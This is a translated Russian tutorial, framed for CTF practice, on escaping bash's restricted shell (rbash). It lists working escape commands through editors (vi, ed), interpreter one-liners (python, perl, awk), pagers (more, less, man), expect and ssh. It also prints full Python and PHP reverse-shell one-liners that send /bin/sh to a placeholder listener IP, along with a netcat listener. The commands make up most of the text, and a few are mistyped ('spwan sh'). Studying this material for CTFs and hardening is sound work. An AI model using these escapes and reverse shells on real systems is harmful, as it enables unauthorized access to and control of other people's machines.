Найти в Дзене

Несколько способов обойти Restricted Shell

Оглавление

В этой статье пойдет речь о restricted shell или bash, который используется во многих задачах CTF. Пользователи также получат сведения о том, как обойти rbash с помощью нескольких простых методов.

Restricted Shell: rbash

Restricted (ограниченный) shell нужен для настройки среды, более управляемой, чем при стандартном shell. Это означает, что если bash запускается с именем rbash или опция-r появляется при вызове, shell становится ограниченным.

Ограничения в rbash

Он ведет себя, как и bash, за исключением того, что некоторые действия запрещены или невозможны:

  • команда d (изменить каталог)
  • команда cd (изменить каталог)
  • PATH (настройка / сброс настроек)
  • ENV aka BASH_ENV (настройка среды / сброс настроек среды)
  • Импорт
  • Имя файла, содержащего аргумент ‘/’
  • Имя файла, содержащего аргумент ‘-‘
  • Перенаправление вывода с помощью ‘>‘, ‘>>‘, ‘>|‘, ‘<>‘, ‘>&‘, ‘&>‘
  • Отключение ограничения с помощью комбинации ‘set +r‘ или ‘set +о‘

Преимущества Restricted Shell

  • Rbash часто используется в сочетании с chroot jail в попытках ограничить доступ к корневым процессам.

Недостатки Restricted Shell

  • Когда выполняется команда скрипта shell, rbash отключает все ограничения для выполнения кода
  • Его недостаточно для выполнения полностью ненадежного кода

Включение ограниченного shell на компьютере пользователя

Как уже было сказано ранее, rbash будет контролировать доступ bash shell для пользователя и давать ему возможность выполнять только доверенные команды. Это означает, что человек сможет ввести только некоторые выбранные им команды. Для управления командой user bash, нужно выполнить или включить restricted shell для всех пользователей. Необходимо соблюдать следующий порядок действий:

  • Создать локального пользователя “ignite”
  • Установить пароль
  • Установить usermod, чтобы включить rbash для локального пользователя
  • Предоставить ему доступный shell с помощью /etc / passwd.

adduser ignite
usermod -s /bin/rbash ignite

-2

Методы для обхода rbysh

С помощью редакторов:

  • Vi-editors
  • Ed-editors

С помощью One liner:

  • Python
  • Perl
  • Awk

С помощью реверсивного shell.
С помощью System binaries:

  • More
  • Less
  • Man

С помощью Expect.
С помощью SSH.

Обход rbash с помощью редакторов

Нужно предположить, что пользователь получил доступ к хост-машине в качестве локального и обнаружил, что зарегистрированный пользователь является частью оболочки rbash. Из-за этого он не может выполнить некоторые системные команды, такие как: cd.

ssh ignite@192.168.1.103
cd /etc

-3

1-й метод – Vi Editor

Таким образом, человек способен применить VI Editor в режиме редактирования, где ему нужно выполнить следующую команду, чтобы открыть «sh: Bourne shell» вместо rbash:

vi
:set shell=/bin/sh

-4

:shell

-5

Теперь, если пользователь попытается получить доступ к каталогу /etc, то увидит, что он может ввести команду cd & pwd.

cd /etc
pwd
id

-6

2-й метод – ed-Editor

Человек может воспользоваться другим методом – запустить ed-editor, который очень прост в использовании. Он похож на программу cat, имеющую встроенный режим редактирования, в котором пользователь для вызова «sh: Bourne shell» введет следующую команду:

ed
! '/bin/sh'

-7

Теперь, если человек попытается получить доступ к каталогу /etc, то он увидит, что есть возможность запустить команду cd & pwd.

pwd
cd /etc
pwd

Существует еще много других редакторов, таких как pico или nano, которые используются для обхода среды rbash.

-8

Обход ограниченного shell с помощью One liner

1-й метод – Python

Пользователь также может выбрать следующую команду python для импорта “SH: Bourne shell ” и создать соответствующий shell вместо rbash, как показано ниже. После этого он способен получить доступ к каталогу /etc без каких-либо ограничений:

python -c 'import os; os.system("/bin/sh");'
python3 -c 'import os; os.system("/bin/sh");'

-9

2-й метод – Perl

Аналогично, человек также может ввести команду Perl для импорта «SH: Bourne shell» и создать соответствующий shell вместо rbash:

perl -e 'system("/bin/sh");'

-10

3-й метод – Awk

Кроме этого, есть возможность ввести команду awk для импорта «SH: Bourne shell» и создать соответствующий shell вместо rbash, как показано ниже:

awk 'BEGIN {system("/bin/sh")}'

-11

Обход rbash с помощью реверсивного shell

1-й метод – Python

Пользователь может прибегнуть к reverse shellcode для обхода блокировки rbash. В этом случае нужно использовать Python (penetestmokey) и это сбросит «sh: Bourne shell» на компьютере (в этом случае – Kali Linux) на netcat:

nc -lvp 1234

После запуска листенера нужно ввести следующую команду:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("LISTENING IP",LISTENING PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

-12

Теперь, если человек попытается получить доступ к каталогу /etc, то он увидит, что может запустить команду cd & pwd.

id pwd
cd /etc
pwd

-13

2-й метод – PHP

Аналогично, человек может использовать PHP reverse shellcode, который должен быть выполнен на хост-машине. После этого обратное соединение будет доступно на нужном компьютере.

php -r '$sock=fsockopen("LISTENING IP",LISTENING PORT);exec("/bin/sh -i <&3 >&3 2>&3");'

Теперь, если пользователь попытается получить доступ к каталогу /etc, то он увидит, что может запустить команду cd & pwd.

id
pwd
cd /etc
pwd

-14

Обход rbash с помощью System binaries

Мало людей знают, что некоторые файлы System binaries (такие как less, more, head, tail, man и другие) очень полезны для обхода ограниченного shell.

Рассмотрим ситуацию, когда у человека есть файл журнала с именем ignite.txt внутри текущего каталога, что позволяет с помощью некоторых команд, таких как more или less, читать журналы.

1-й метод – /bin/more

Надо воспользоваться привилегией программы /bin/more, чтобы обойти ограниченный shell. Выполняется следующая команда в rbash:

more ignite.txt

!'sh'

Теперь, если человек попытается получить доступ к каталогу /etc, то он увидит, что может запустить команду cd & pwd.

id
pwd
cd /etc
pwd

-15

2-й метод – /bin/less

Следует воспользоваться привилегией программы /bin/less, чтобы обойти ограниченный shell. Выполняется следующая команда в rbash:

less ignite.txt

!'sh'

-16

Теперь, если пользователь попытается получить доступ к каталогу /etc, то он увидит, что может запустить команду cd & pwd.

id
pwd
cd /etc
pwd

-17

3-й метод –  /bin/man

Следует воспользоваться привилегией программы /bin/less, чтобы обойти ограниченный shell. Выполняется следующая команда в rbash:

man man

!'sh'

-18

Теперь, если человек попытается получить доступ к каталогу /etc, то он увидит, что может запустить команду cd & pwd.

id
pwd
cd /etc
pwd

-19

Обход ограниченного shell с помощью Expect

Expect – это программа Unix, которая «поддерживает связь» с другими интерактивными программами в соответствии с ее скриптом. Следуя ему, Expect знает, чего можно ожидать от других программ и каким должен быть правильный ответ.

Нужно воспользоваться привилегией /bin / usr / expect – программа обойдет ограниченный shell, выполнив следующую команду на оболочке rbash:

expect
spwan sh

Теперь, если пользователь попытается получить доступ к каталогу /etc, то он также заметит, что может запустить команду cd & pwd.

id
pwd
cd /etc
pwd

-20

Обход ограниченного shell с помощью SHH

Если человек знает учетные данные ssh пользователя, который является частью rbash, то он может использовать следующую команду, чтобы обойти rbash, обратившись к верному shell.

ssh ignite@192.168.1.103 -t "bash --noprofile"

Теперь, если пользователь попытается получить доступ к каталогу /etc, то он также увидит, что может запустить команду cd & pwd.

id
pwd
cd /etc
pwd

-21

Автор переведенной статьи: Kavish Tyagi.

Важно! Информация исключительно в учебных целях. Пожалуйста, соблюдайте законодательство и не применяйте данную информацию в незаконных целях.